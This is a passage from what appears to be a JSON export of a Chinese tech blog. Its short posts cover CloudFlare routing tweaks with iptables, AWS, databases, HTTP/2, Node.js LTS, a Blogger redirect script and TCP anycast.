    "body": "前幾天在「<a href=\"https://blog.gslin.org/archives/2015/08/27/5945/tvbs-%E7%9A%84-cloudflare-%E5%AE%A2%E8%A3%BD%E5%8C%96/\">TVBS 的 CloudFlare 客製化...</a>」這邊提到這件事情，當天就先隨手測了一些東西。\r\n\r\n首先是 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 的服務 IP 是互通的，也就是說，我就算拿其他人的 CNAME mapping 來用，只要有送出對應的 <code>Host:</code> 或是 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication\">SNI</a> (for HTTPS) 就會通，而 <a href=\"http://www.tvbs.com.tw/\">TVBS</a> 當時的 IP address (以及網段) 對於台灣 <a href=\"http://www.hinet.net/\">HiNet</a> 使用者剛好會導到美國機房，還算可以用。\r\n\r\n另外 CloudFlare 有提供列表 (文字格式，一行一個網段)，分別是 IPv4 的 <a href=\"https://www.cloudflare.com/ips-v4\">https://www.cloudflare.com/ips-v4</a> 以及 IPv6 的 <a href=\"https://www.cloudflare.com/ips-v6\">https://www.cloudflare.com/ips-v6</a>。\r\n\r\n所以就有幾種組合了，一種是寫 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 的 extension 直接改 IP address，不過看了看 <a href=\"https://developer.chrome.com/extensions/api_index\">JavaScript APIs - Google Chrome</a> 想不出來怎麼寫。\r\n\r\n另外一個是先用 <a href=\"http://www.netfilter.org/\">iptables</a> 把這些網段的流量導去美國的 CloudFlare 機房。結果這時候發現 HiNet 到 TVBS 已經改回到香港機房了 orz\r\n\r\n實際抓了一下發現 188.114.97.100 在巴西機房 (<a href=\"https://zh.wikipedia.org/wiki/%E5%9C%A3%E4%BF%9D%E7%BD%97/%E7%93%9C%E9%B2%81%E6%9F%B3%E6%96%AF-%E5%AE%89%E5%BE%B7%E7%83%88%C2%B7%E5%BC%97%E6%9C%97%E5%93%A5%C2%B7%E8%92%99%E6%89%98%E7%BD%97%E5%B7%9E%E9%95%BF%E5%9B%BD%E9%99%85%E6%9C%BA%E5%9C%BA\">GRU</a> 是 IATA 代碼)，就變成只是測試看看這有沒有用了：\r\n\r\n<pre>$ curl -x http://188.114.97.100:80/ http://s.plurk.com/cdn-cgi/trace\r\nfl=42f16\r\nh=s.plurk.com\r\nip=114.32.152.63\r\nts=1441004146.723\r\nvisit_scheme=http\r\nuag=curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3\r\ncolo=GRU\r\nspdy=off</pre>\r\n\r\n由於是自己機器出去的封包，不能用 <code>PREROUTING</code> 做，要用 <code>OUTPUT</code> 做：\r\n\r\n<pre>iptables -t nat -A OUTPUT -d 190.93.240.0/20 -j DNAT --to-destination 188.114.97.100</pre>\r\n\r\n然後再直接連到 s.plurk.com 就可以看到：\r\n\r\n<pre>$ curl http://s.plurk.com/cdn-cgi/trace\r\nfl=42f16\r\nh=s.plurk.com\r\nip=114.32.152.63\r\nts=1441004011.195\r\nvisit_scheme=http\r\nuag=curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3\r\ncolo=GRU\r\nspdy=off</pre>\r\n\r\n不過巴西也太遠了點，而且不知道哪天這段 IP 又會被 anycast 進去... orz",
    "title": "為了解決 HiNet 到 CloudFlare 機房品質不好而做的掙扎..."
  },
  {
    "id": "5949",
    "body": "在「<a href=\"https://aws.amazon.com/blogs/aws/subscribe-to-aws-public-ip-address-changes-via-amazon-sns/\">Subscribe to AWS Public IP Address Changes via Amazon SNS</a>」這邊提供利用現有的 <a href=\"https://aws.amazon.com/sns/\">Amazon SNS</a> 所提供的新功能。\r\n\r\n依照說明，訂 <code>arn:aws:sns:us-east-1:806199016981:AmazonIpSpaceChanged</code> 就可以了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PBTdt32.webp\" /><img src=\"https://i.gslin.com/imgur/PBTdt32.jpg\" alt=\"\" /></picture>\r\n\r\n會收到類似於這樣的東西：\r\n\r\n<pre>{\r\n  \"create-time\":\"yyyy-mm-ddThh:mm:ss+00:00\",\r\n  \"synctoken\":\"0123456789\",\r\n  \"md5\":\"6a45316e8bc9463c9e926d5d37836d33\",\r\n  \"url\":\"https://ip-ranges.amazonaws.com/ip-ranges.json\"\r\n}</pre>\r\n\r\n不過之前就可以 polling 了，這個功能好像還好...",
    "title": "AWS Public IP 的變動可以透過 Amazon SNS 訂閱"
  },
  {
    "id": "5950",
    "body": "在滿滿都是 NoSQL 的世代中，意外在「<a href=\"http://ctrl-c.club/~ksikka/articles/01-berkeley-db/\">Berkeley DB: Architecture</a>」這邊看到 <a href=\"http://www.oracle.com/technetwork/database/database-technologies/berkeleydb/\">Berkeley DB</a> 的介紹...\r\n\r\n2006 年 Berkeley DB 的公司 <a href=\"https://en.wikipedia.org/wiki/Sleepycat_Software\">Sleepycat</a> 被 <a href=\"http://www.oracle.com/\">Oracle</a> 收購。在收購後 Oracle 改變了 open source 授權部份，從之前的 Sleepycat License 改成了 <a href=\"https://www.gnu.org/licenses/agpl-3.0.html\">AGPLv3</a>。\r\n\r\nBerkeley DB 算是早期功能很完整的 database library，由於 page level locking、crash-safe 加上有 transaction，也曾經被 <a href=\"https://dev.mysql.com/\">MySQL</a> 拿去當作 engine，不過在 MySQL 5.1 被拔掉：「<a href=\"https://dev.mysql.com/doc/refman/5.0/en/bdb-storage-engine.html\">14.5 The BDB (BerkeleyDB) Storage Engine</a>」。\r\n\r\n文章裡講了很多底層設計上的想法 (而非單純只說明「做了什麼」)，以四個面向來討論。Buffer、Lock、Log 以及 Transaction，並且圍繞著 <a href=\"https://en.wikipedia.org/wiki/ACID\">ACID</a> 需求討論。\r\n\r\n算是懷念的考古文？<a href=\"https://www.google.com/\">Google</a> 弄出來的 <a href=\"http://leveldb.org/\">LevelDB</a> 與 <a href=\"https://www.facebook.com/\">Facebook</a> 接著改善的 <a href=\"http://rocksdb.org/\">RocksDB</a> 的走向也不太一樣了，現在大家對 ACID 需求因為 NoSQL 盛行的關係又重新在檢視...",
    "title": "Berkeley DB 的介紹"
  },
  {
    "id": "5951",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 宣佈開始測試 <a href=\"https://http2.github.io/\">HTTP/2</a> 了：「<a href=\"https://blog.cloudflare.com/test-all-the-things-ipv6-http2-sha-2/\">Test all the things: IPv6, HTTP/2, SHA-2</a>」。\r\n\r\n網站是 <a href=\"https://http2.cloudflare.com/\">https://http2.cloudflare.com/</a>，如果有裝 <a href=\"https://chrome.google.com/webstore/detail/http2-and-spdy-indicator/mpbpobfflnpcgagjijhmgnchggcjblin\">HTTP/2 and SPDY indicator</a> 的人應該會看到藍色的閃電：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gOrk3Eq.webp\" /><img src=\"https://i.gslin.com/imgur/gOrk3Eq.jpg\" alt=\"\" /></picture>\r\n\r\n原來的站則是綠色的 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a>/3.1：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vvxe1Ny.webp\" /><img src=\"https://i.gslin.com/imgur/vvxe1Ny.jpg\" alt=\"\" /></picture>\r\n\r\n接下來就是花時間等待了。",
    "title": "CloudFlare 開始測試 HTTP/2"
  },
  {
    "id": "5953",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣布支援 Protected Branches 了：「<a href=\"https://github.com/blog/2051-protected-branches-and-required-status-checks\">Protected branches and required status checks</a>」，其他的競爭對手都有的功能：\r\n\r\n<blockquote>Over the next few weeks we’ll be rolling out a new feature called <a href=\"https://help.github.com/articles/about-protected-branches/\">Protected Branches</a> which gives repository administrators the ability to disable force pushes to specific branches.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iN1Fzu3.webp\" /><img src=\"https://i.gslin.com/imgur/iN1Fzu3.jpg\" alt=\"\" /></picture>\r\n\r\n另外一起引入的是強制性的檢查：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FFop4T2.webp\" /><img src=\"https://i.gslin.com/imgur/FFop4T2.jpg\" alt=\"\" /></picture>\r\n\r\n算是補功能... 組織變大的時候必須透過系統強制介入的功能。",
    "title": "GitHub 支援 Protected Branches 了..."
  },
  {
    "id": "5955",
    "body": "雖然人還在大阪員旅，不過看到這篇很精彩的測試還是先寫下來：「<a href=\"https://aphyr.com/posts/327-call-me-maybe-mariadb-galera-cluster\">Call me Maybe: MariaDB Galera Cluster</a>」，作者在 <a href=\"https://stripe.com/\">Stripe</a> 花了很多時間在測試各種資料庫的資料正確性。\r\n\r\n由於 <a href=\"https://www.percona.com/\">Percona</a> 的 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">Percona XtraDB Cluster</a> (PXC) 是基於 <a href=\"http://galeracluster.com/\">Galera Cluster</a> 改出來的，再加上敝公司裡面大量使用 PXC，決定還是趕緊花時間看完整篇文章確認到底講了什麼。\r\n\r\n先講目前看到的結論：\r\n\r\n<ul>\r\n\t<li>作者認為 Galera Cluster 官方宣稱的 SNAPSHOT-ISOLATION (SI) &gt; REPEATABLE-READ (RR) 是有問題的講法，在學理上 SI 與 RR 都低於 SERIALIZABLE (1SR)，也都高於 READ-COMMITTED (RC)，但兩者之前沒有直接包含。</li>\r\n\t<li>Galera Cluster 的測試結果看起來沒有做到 SI 的要求，不過測試中看起來有達到 READ-UNCOMMITTED (RU)，在 RC 的測試中也沒找到問題，不過作者還是懷疑系統有達到 RC 的要求。</li>\r\n</ul>\r\n\r\n另外從其他討論串看起來，當所有人寫入都到同一台就沒有這些狀況，可以達到 1SR 的要求，這也是目前還蠻常見的系統設計，所以這次的問題看起來沒有這麼大。\r\n\r\n後面也提到裝 MySQL Cluster 裝了好幾個禮拜還是裝不起來的事情：\r\n\r\n<blockquote>Galera is easy to install–I spent weeks trying to set up MySQL Cluster to no avail, and got Galera Cluster running in a matter of hours.</blockquote>\r\n\r\n有種，不是很意外的感覺...\r\n\r\nAnyway，原文下面的 comment 可以看到 <a href=\"http://www.xaprb.com/\">Baron Schwartz</a> 也跑出來討論，另外在 <a href=\"https://github.com/\">GitHub</a> 上有開始有討論了：「<a href=\"https://github.com/codership/galera/issues/336\">Snapshot Isolation may not be as isolated as one would like</a>」，看起來直接戳破 Galera Cluster 支援 SI 的宣傳詞了，接下來拉板凳繼續看戲吧... XD",
    "title": "測試 MariaDB 上 Galera Cluster 的 Isolation"
  },
  {
    "id": "5956",
    "body": "<a href=\"http://www.adobe.com/\">Adobe</a> 的 <a href=\"https://typekit.com/\">Typekit</a> 宣佈之後的 embed code 預設就會是 HTTPS only：「<a href=\"http://blog.typekit.com/2015/09/01/font-loading-update-all-https-all-the-time/\">Font loading update: All HTTPS, all the time</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IVrNyxh.webp\" /><img src=\"https://i.gslin.com/imgur/IVrNyxh.jpg\" alt=\"\" /></picture>\r\n\r\n主要的原因是出自於最近發現的安全問題，攻擊者可以藉由字型處理的 security issue 攻擊，而導入 HTTPS 後可以降低這部分的風險：\r\n\r\n<blockquote>We’ve made this change as a response to the recent vulnerabilities and exploits in the OpenType and TrueType font formats. A malicious attacker could use these vulnerabilities to modify a Typekit font while it is being transmitted from our servers to your browser. Serving fonts (and other resources) over HTTPS ensures that the communication channel between your browser and our servers is not compromised and fonts are delivered in a secure way.</blockquote>\r\n\r\n就目前看起來，<code>use.typekit.net</code> 還是使用 <a href=\"http://www.edgecast.com/\">EdgeCast</a> 的 CDN 服務，在 HTTPS 上還是沒有 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 或是 <a href=\"https://http2.github.io/\">HTTP/2</a>，對效能的影響還是要測試過才知道...",
    "title": "Adobe 的 Typekit 推廣 HTTPS only"
  },
  {
    "id": "5957",
    "body": "在「<a href=\"http://mysqlserverteam.com/introducing-mysqlpump/\">Introducing mysqlpump</a>」這邊提到了 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.7 將會有 <a href=\"https://dev.mysql.com/doc/refman/5.7/en/mysqlpump.html\">mysqlpump</a> 這個新工具，主要是避免影響 <a href=\"https://dev.mysql.com/doc/refman/5.7/en/mysqldump.html\">mysqldump</a>，但又可以產生容易平行處理的 dump data：\r\n\r\n<blockquote>The goal of mysqlpump is to have a modern utility that is extendable and has native support for parallelization.</blockquote>\r\n\r\n看了一下範例還蠻簡單的 (目標也很明確)，應該是之後的參考工具...",
    "title": "MySQL 5.7 將會有新的備份工具 mysqlpump"
  },
  {
    "id": "5958",
    "body": "前幾天 <a href=\"https://aws.amazon.com/\">AWS</a> 的「<a href=\"https://aws.amazon.com/blogs/aws/new-resource-oriented-bidding-for-ec2-spot-instances/\">New – Resource-Oriented Bidding for EC2 Spot Instances</a>」這篇文章提到 <a href=\"https://aws.amazon.com/ec2/spot/\">EC2 Spot Instance</a> 可以用 capaciy 競標了，也就是以「資源的總量」來飆，而非指定某種型態的 instance。\r\n\r\n以文章裡的例子來說，假設要標 488 個單位的 capacity，那麼有可能出現：\r\n\r\n<ul>\r\n\t<li>2 x <strong>r3.8xlarge</strong></li>\r\n\t<li>4 x <strong>r3.4xlarge</strong></li>\r\n\t<li>8 x <strong>r3.2xlarge</strong></li>\r\n\t<li>16 x <strong>r3.xlarge</strong></li>\r\n\t<li>32 x <strong>r3.large</strong></li>\r\n</ul>\r\n\r\n也有可能出現混搭的版本：\r\n\r\n<ul>\r\n\t<li>1 x <strong>r3.8xlarge</strong> and 2 x <strong>r3.4xlarge</strong></li>\r\n\t<li>2 x <strong>r3.4xlarge</strong> and 8 x <strong>r3.xlarge</strong></li>\r\n\t<li>8 x <strong>r3.xlarge</strong> and 16 x <strong>r3.large</strong></li>\r\n</ul>\r\n\r\n對於某種 spot instance 價錢突然提高時，可以改用其他 instance 繼續執行，變得更有彈性...",
    "title": "EC2 Spot Instance 可以用 Capacity 競標了"
  },
  {
    "id": "5959",
    "body": "<a href=\"https://en.wikipedia.org/\">英文版維基百科</a>針對付費帳號的反擊：「<a href=\"https://blog.wikimedia.org/2015/08/31/wikipedia-accounts-blocked-paid-advocacy/\">Hundreds of “black hat” English Wikipedia accounts blocked following investigation</a>」。\r\n\r\n這邊講的「付費帳號」被定義為 undisclosed paid advocacy，也就是存在利益衝突但故意不揭露的情況。維基百科的人還產生了一張圖來說明這次 381 個帳號被停權檢查的情況：(黃色是 IP address，綠色是 username，可以看出很多重疊的情況)\r\n\r\n<img src=\"https://i.gslin.com/imgur/1CxgYpO.jpg\" alt=\"\" />\r\n\r\n感覺應該可以把某些部分自動化掉...",
    "title": "英文版維基百科對於付費帳號的反擊"
  },
  {
    "id": "5960",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，是給 Power User 參考用的建議：「<a href=\"https://github.com/drduh/OS-X-Yosemite-Security-and-Privacy-Guide\">drduh/OS-X-Yosemite-Security-and-Privacy-Guide</a>」。\r\n\r\n文章很長，所以我的建議是看過一次後把會用到的部分整理成 bash script，以後重新安裝時可以直接拿來用。",
    "title": "關於 Mac OS X 10.10 的安全建議"
  },
  {
    "id": "5961",
    "body": "一樣是在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，在「<a href=\"https://www.jasondavies.com/maps/voronoi/airports/\">World Airports Voronoi</a>」這邊看到以全世界 2980 個機場為胞點所畫出來的 <a href=\"https://en.wikipedia.org/wiki/Voronoi_diagram\">Voronoi Diagram</a> (<a href=\"https://zh.wikipedia.org/wiki/%E6%B2%83%E7%BD%97%E8%AF%BA%E4%BC%8A%E5%9B%BE\">沃羅諾伊圖</a>)。\r\n\r\n其中這張標出地球上離機場最遠的點，在南極洲上：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VUBtC1L.webp\" /><img src=\"https://i.gslin.com/imgur/VUBtC1L.jpg\" alt=\"\" /></picture>\r\n\r\n另外還有離機場最遠的機場，復活節島上的 <a href=\"https://en.wikipedia.org/wiki/Mataveri_International_Airport\">Mataveri International Airport</a> (<a href=\"https://zh.wikipedia.org/wiki/%E9%A9%AC%E5%A1%94%E7%BB%B4%E9%87%8C%E5%9B%BD%E9%99%85%E6%9C%BA%E5%9C%BA\">馬塔維里國際機場</a>)，距離最近的機場是 2602km。",
    "title": "全世界離機場最遠的點"
  },
  {
    "id": "5962",
    "body": "<a href=\"https://www.scaleway.com/\">Scaleway</a> 好像知道市場的殘酷了，這次宣佈大降價：「<a href=\"https://blog.scaleway.com/2015/09/02/we-are-slashing-the-c1-price-by-70-percent/\">We are slashing the C1 price by 70 percent</a>」。\r\n\r\n四核 ARMv7 + 2GB RAM + 50GB SSD 從本來的 €9.99/month 降到 €2.99/month，大約是 70% 的降幅。不過要記得這是未稅價，另外加上稅會變成 €3.59/month (20%)，大約就是 USD$4/month 了。\r\n\r\n這價錢可以當玩具玩玩看...",
    "title": "Scaleway 的降價 (ARMv7 VPS)"
  },
  {
    "id": "5963",
    "body": "新版的 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 使得 <a href=\"https://www.youtube.com/\">YouTube</a> 可以繞過 Adblock 類軟體的阻擋限制 (像是 <a href=\"https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm?hl=zh-TW\">uBlock Origin</a>)，導致這些使用者會需要「看完完整的廣告影片 (無法 skip)」才能看本篇：「<a href=\"http://www.neowin.net/news/google-chrome-reportedly-bypassing-adblock-forces-users-to-watch-full-length-video-ads\">Google Chrome reportedly bypassing Adblock, forces users to watch full-length video ads</a>」。\r\n\r\n目前確認這是在修正 <a href=\"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1297\">CVE-2015-1297</a> 時產生的 bug：\r\n\r\n<blockquote><strong>Update</strong>: We have been contacted by Rob Wu, a developer on the Chromium project - the open-source foundation for the Chrome browser - who has informed us that <a href=\"https://code.google.com/p/chromium/issues/detail?id=526413\">this change was not intentional</a> but, rather, an unintended result of fixing a previous security issue (CVE-2015-1297). He confirmed that the issue will only be seen if the YouTube app is installed and that, at the moment, apart from disabling AdBlock or whitelisting YouTube, the only solution, as described above, is to uninstall the app. The problem is expected to be patched in the upcoming weeks or, at least, when Chrome 46 is released.</blockquote>\r\n\r\n目前的暫時解法是移除掉 <a href=\"https://chrome.google.com/webstore/detail/youtube/blpcfgokakmgnkcojhhkbfbldkacnbeo\">YouTube</a> 這隻 app，或是將 YouTube 放到白名單網站。",
    "title": "Google Chrome 會 bypass Adblock 的問題"
  },
  {
    "id": "5965",
    "body": "<a href=\"https://nodejs.org/en/\">Node.js</a> 在 4.0 開始啟動 LTS (Long Term Support) 計畫：「<a href=\"https://nodejs.org/en/blog/release/v4.0.0/\">Node v4.0.0 (Stable)</a>」。\r\n\r\n可以參考「<a href=\"https://github.com/nodejs/LTS/\">Node.js Long-term Support Working Group</a>」這邊的說明。最主要的重點是生命週期，首先是每六個月就會放一次新版，跟 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 相同，也都是四月與十月：\r\n\r\n<blockquote>In parallel, we will be branching a new Stable line of releases every 6 months, one in October and one in April each year. </blockquote>\r\n\r\n每個 LTS 版本將會有 18 + 12 = 30 個月的支援期：\r\n\r\n<blockquote>This means that there will be overlapping LTS branches being maintained throughout the year, each receiving attention for a total of 30 months (LTS plus Maintenance).</blockquote>\r\n\r\n這張圖說明了 LTS 與維護的時間線：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7vV6TRz.webp\" /><img src=\"https://i.gslin.com/imgur/7vV6TRz.jpg\" alt=\"\" /></picture>\r\n\r\n有個 LTS 的指標可以挑了...",
    "title": "Node.js 的 LTS 計畫"
  },
  {
    "id": "5966",
    "body": "在「<a href=\"http://www.labnol.org/internet/prevent-blogger-country-redirection/21031/\">Prevent Blogger from Redirecting your Blogspot Blog to Country-Specific URLs</a>」這篇文章裡提到了 Blog 的擁有人要怎麼避免 <a href=\"https://www.google.com/\">Google</a> 把網址導到 country-based 的網域下。\r\n\r\n目前 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 的使用者端可以安裝「<a href=\"https://chrome.google.com/webstore/detail/nocountryredirect-ncr/ciboebddidackjicoeoiigdnbmchkdll\">NoCountryRedirect (NCR)</a>」這個套件來避開這個問題，但你總不能要求每個人都裝套件...\r\n\r\n而這篇文章則說明了如何在 <a href=\"https://www.blogger.com/\">Blogger</a> 裡插入一段 javascript 避免使用 country-based domain：\r\n\r\n<pre>&lt;script type=\"text/javascript\"&gt;\r\n \r\n  // Written by Amit Agarwal\r\n  \r\n  /* Get the full URL of the current blogger page */\r\n  var blog = document.location.href.toLowerCase();\r\n \r\n  /* Do not redirect if the domain is .com already */\r\n  if (!blog.match(/\\.blogspot\\.com/)) {\r\n \r\n    /* Replace the country TLD with .com and ncr switch */\r\n    blog = blog.replace(/\\.blogspot\\..*?\\//, \".blogspot.com/ncr/\");\r\n \r\n    /* Redirect to the new .com URL in the current tab */\r\n    window.location.replace(blog);\r\n  }\r\n \r\n  // Source: http://labnol.org/?p=21031\r\n  \r\n&lt;/script&gt;</pre>\r\n\r\n這樣做的好處主要是來自於 url 統一，對於統計、廣告以及分享的問題會減少很多。",
    "title": "強迫 Blogger (Blogspot) 使用 blogspot.com 的網域 (而非 .tw)"
  },
  {
    "id": "5967",
    "body": "<a href=\"https://www.linkedin.com/\">LinkedIn</a> 的工程師測試了 TCP Anycast 技術的穩定性以及效能：「<a href=\"https://engineering.linkedin.com/network-performance/tcp-over-ip-anycast-pipe-dream-or-reality\">TCP over IP Anycast - Pipe dream or Reality?</a>」。\r\n\r\n由於 stateless 再加上一個封包就傳的完的情況下，Anycast 技術被用在 DNS 上已經很長一段時間了，目前大多數 CDN 業者也都有用 Anycast 技術加快 CDN 的回應速度。\r\n\r\n但 TCP 因為 stateful，如果 router 上採用的方式有問題，那麼就會導致封包可能會送到不同節點，這會是個嚴重的問題。不過很早之前，幾乎所有的骨幹 router 都已經支援 flow-based load balancing policy：\r\n\r\n<blockquote>Most routers now do a per-flow load balancing, meaning packets on a TCP connection are always sent over the same path, but even a small percentage of routers with per-packet load balancing can cause the website to be unreachable for users behind that router.</blockquote>\r\n\r\n所以 LinkedIn 的人試著測試 TCP Anycast 技術的穩定性：\r\n\r\n<blockquote>So, to validate the assumption that TCP over anycast in the modern internet is no longer a problem, we ran a few synthetic tests.</blockquote>\r\n\r\n測試的方式是設定 web server，讓下載速度不快，然後設了好幾個點並且放出對應的 routing，用 <a href=\"http://www.catchpoint.com/\">Catchpoint</a> 服務監控，如果不穩定的話，應該就會收到 RST 中斷連線：\r\n\r\n<blockquote>We configured our U.S. PoPs to announce an anycast IP address and then configured multiple agents in Catchpoint, a synthetic monitoring service, to download an object from that IP address. Our web servers were configured to deliberately send the response back slowly, taking over a minute for the complete data transfer. If the internet was unstable for TCP over anycast, we would observe continuous or intermittent failures when downloading the object. We would also observe TCP RSTs at the PoPs.</blockquote>\r\n\r\n而好消息是，測試起來相當穩定：\r\n\r\n<blockquote>But even after running these tests for a week, we did not notice any substantial instability problems! This gave us confidence to proceed further. </blockquote>\r\n\r\n所以也因此可以看到 <a href=\"http://www.cachefly.com/\">CacheFly</a> 與 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 兩家採用 TCP Anycast 技術：\r\n\r\n<blockquote>[S]ome popular CDNs have also started using anycast for HTTP traffic.</blockquote>\r\n\r\n由於穩定性的部份沒問題，所以接下來就是討論效率。\r\n\r\nAnycast 是基於 routing 而決定要怎麼走，目標是希望可以透過 routing 取得 latency 最低的點。但實務上會把成本考慮進去，有可能會走到比較遠的點。在測試中可以發現北美的部份 Anycast 表現的比 GeoIP 好，但離開北美就掉很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zjSd1x1.webp\" /><img src=\"https://i.gslin.com/imgur/zjSd1x1.jpg\" alt=\"\" /></picture>\r\n\r\n所以 LinkedIn 決定用「Regional Anycast」，先用 GeoIP 決定要丟到哪個洲，而每個洲共用一個 Anycast 位置，這個方法讓效能提昇不少，全球在分配時 sub-optimal 的比率從 31% 降到 10% (i.e. 沒有分配到最好的點的比率)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Se1CvhH.webp\" /><img src=\"https://i.gslin.com/imgur/Se1CvhH.jpg\" alt=\"\" /></picture>\r\n\r\n上面主要是讀 LinkedIn 文章的心得，後面就是感想了。\r\n\r\nTCP Anycast 用 CDN 上其實是相當吃虧的技術，由於 routing 的掌控權不再自己手上，有很多重要的手段是沒辦法做到的。\r\n\r\n首先是當對外流量已經滿載時，不能切換到其他機房的機器，這邊講的「對外流量」不是 CDN 本身而已，而是中途任何的線路滿載都算，像是 <a href=\"http://www.hinet.net/\">HiNet</a> 對 CloudFlare 香港機房的情況就很明顯。\r\n\r\n另外在被 DDoS 時，由於沒辦法導流，在被攻擊時幾乎只剩下 clean pipe 類的解法，而同時間其他用戶會因為流量大量流入機房而一起被波及到。GeoIP 的方式彈性就大很多。\r\n\r\n當然，還是有可以列出來的好處。主要是對於需要有固定 IP 應用來說 (像是 firewall 設定需求)，TCP Anycast 滿足了這點。\r\n\r\n只能說不同市場有不同的產品線在供應啦，不同的情境下有不同的需求...",
    "title": "LinkedIn 的工程師分析 TCP Anycast 技術的穩定性與效能"
  },
  {
    "id": "5968",
    "body": "看到「<a href=\"https://make.wordpress.org/core/2015/09/10/wordpress-and-php7/\">WordPress and PHP7</a>」這篇，先講題外話，居然是 <code>make.wordpress.org</code> 這個網址... XD\r\n\r\n回到主題，<a href=\"https://wordpress.org/\">WordPress</a> 正在測試 <a href=\"https://secure.php.net/\">PHP</a> 7 的相容性，並且呼籲 theme 與 plguin 作者也應該加入測試。\r\n\r\n之所以會這麼重視 PHP 7，主要還是因為對效能的提昇感到興奮：\r\n\r\n<blockquote>One of the most notably is substantial performance improvements.Benchmarks of WordPress using PHP7 are showing a 2-3x speed improvement compared to PHP5.6.</blockquote>\r\n\r\n目前 blog 跑的是 5.6，等 7.0 正式出的時候來測一次吧，到時候要升級前先打一輪 5.6，升級後再打一輪 7.0，看看效能差異如何。",
    "title": "WordPress 緊鑼密鼓的測試 PHP7..."
  },
  {
    "id": "5969",
    "body": "<a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 剛剛公佈可以使用 <a href=\"https://www.python.org/\">Python</a> 寫 UDF：「<a href=\"http://blogs.aws.amazon.com/bigdata/post/Tx1IHV1G67CY53T/Introduction-to-Python-UDFs-in-Amazon-Redshift\">Introduction to Python UDFs in Amazon Redshift</a>」。\r\n\r\nRedshift 是先編成 byte code 後再跑，所以不會有 C 或是 C++ 那麼快：\r\n\r\n<blockquote>The Python execution in Amazon Redshift is also run as compiled byte code. Although this still won’t be as fast as the native C++ that runs your SQL, it will still be much faster than running through a Python interpreter.</blockquote>\r\n\r\n不過因為彈性增加，以前必須用多個 SQL 甚至透過 temporily table 多次運算才能組出來的計算，現在用 UDF 應該會快很多。\r\n\r\n而 <a href=\"https://www.periscope.io/\">Periscope</a> 的人則馬上放出來一份他門所撰寫的版本：「<a href=\"https://periscope.io/blog/redshift-user-defined-functions-python.html\">Redshift User Defined Functions in Python</a>」，程式可以在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/PeriscopeData/redshift-udfs\">Redshift UDF Harness</a>」這邊取得。\r\n\r\n可以用 UDF 變得方便很多啊，權重計算之類的好做不少...",
    "title": "Amazon Redshift 支援用 Python 寫 UDF"
  },
  {
    "id": "5970",
    "body": "<code>.onion</code> 被用在 <a href=\"https://www.torproject.org/\">Tor</a> 的 <a href=\"https://www.torproject.org/docs/hidden-services.html\">hidden service</a>，而現在從不同的面向要保護這個 root domain 不被註冊，在 <a href=\"https://www.ietf.org/\">IETF</a> 的 blog 上看到「<a href=\"https://www.ietf.org/blog/2015/09/onion/\">.onion</a>」這篇文章就是其中一個方向。\r\n\r\n這邊的計畫是把 <code>.onion</code> 域名當作像是 <code>.local</code>、<code>.localhost</code>、<code>.example</code> 這樣的特殊域名保護 (參考 RFC 6761「<a href=\"https://tools.ietf.org/html/rfc6761\">Special-Use Domain Names</a>」) 而提了一個新的 RFC (目前是 draft)：「<a href=\"https://tools.ietf.org/html/draft-ietf-dnsop-onion-tld-01\">The .onion Special-Use Domain Name</a>」。\r\n\r\n如果通過的話，就有一個標準可以遵循，不然現在對 <code>.onion</code> 一直都是 De-facto standard...",
    "title": ".onion 的域名保護"
  },
  {
    "id": "5971",
